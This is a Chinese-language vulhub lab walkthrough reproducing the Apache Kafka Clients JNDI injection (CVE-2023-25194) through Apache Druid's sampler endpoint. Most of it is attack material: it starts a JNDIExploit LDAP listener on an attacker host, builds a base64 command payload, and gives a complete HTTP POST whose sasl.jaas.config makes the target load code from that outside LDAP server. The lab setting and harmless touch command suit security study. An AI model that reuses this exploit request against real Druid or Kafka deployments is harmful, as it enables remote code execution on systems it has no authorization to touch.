Apache Kafka Clients JNDI注入漏洞 (CVE-2023-25194) vulhub复现

Apache Kafka Clients JNDI注入漏洞 (CVE-2023-25194)

Apache Kafka是一个开源分布式消息队列，Kafka clients是相对应的Java客户端。

在版本3.3.2及以前，Apache Kafka clients中存在一处JNDI注入漏洞。如果攻击者在连接的时候可以控制属性sasl.jaas.config的值为com.sun.security.auth.module.JndiLoginModule，则可以发起JNDI连接，进而导致JNDI注入漏洞，执行任意命令。

漏洞复现
靶机Ubuntu：192.168.126.128
攻击机kali：192.168.126.130

cd vulhub/

cd kafka/

cd CVE-2023-25194/

docker-compose up -d

访问http://your-ip:8888即可查看到Apache Druid主页。

攻击准备

启动kali：192.168.126.130

JNDIExploit下载：https://github.com/WhiteHSBG/JNDIExploit/releases/tag/v1.4

1.开启JNDIExpolit监听：java -jar JNDIExploit-1.4-SNAPSHOT.jar -i 192.168.126.130

2.使用ldap://roguo-jndi-server:1389/Basic/Command/Base64/[base64_encoded_cmd]进行攻击

要执行的命令touch /tmp/lm_hackerbase64编码后为dG91Y2ggL3RtcC9sbV9oYWNrZXI=

构造payload：ldap://192.168.126.130:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9sbV9oYWNrZXI=

3.启动burpsuite抓包

构造并将payload放入如下请求：

POST /druid/indexer/v1/sampler?for=connect HTTP/1.1
Host: 192.168.126.128:8888
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.178 Safari/537.36
Connection: close
Cache-Control: max-age=0
Content-Type: application/json
Content-Length: 1792

{
    "type":"kafka",
    "spec":{
        "type":"kafka",
        "ioConfig":{
            "type":"kafka",
            "consumerProperties":{
                "bootstrap.servers":"127.0.0.1:6666",
                "sasl.mechanism":"SCRAM-SHA-256",
                "security.protocol":"SASL_SSL",
                "sasl.jaas.config":"com.sun.security.auth.module.JndiLoginModule required user.provider.url=\"ldap://192.168.126.130:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9sbV9oYWNrZXI=\" useFirstPass=\"true\" serviceName=\"x\" debug=\"true\" group.provider.url=\"xxx\";"
            },
            "topic":"test",
            "useEarliestOffset":true,
            "inputFormat":{
                "type":"regex",
                "pattern":"([\\s\\S]*)",
                "listDelimiter":"56616469-6de2-9da4-efb8-8f416e6e6965",
                "columns":[
                    "raw"
                ]
            }
        },
        "dataSchema":{
            "dataSource":"sample",
            "timestampSpec":{
                "column":"!!!_no_such_column_!!!",
                "missingValue":"1970-01-01T00:00:00Z"
            },
            "dimensionsSpec":{

            },
            "granularitySpec":{
                "rollup":false
            }
        },
        "tuningConfig":{
            "type":"kafka"
        }
    },
    "samplerConfig":{
        "numRows":500,
        "timeoutMs":15000
    }
}

发送数据包，回到靶机，进入漏洞目录下docker-compose exec web bash

可以看到lm_hacker文件被成功创建(hacker是测试过的)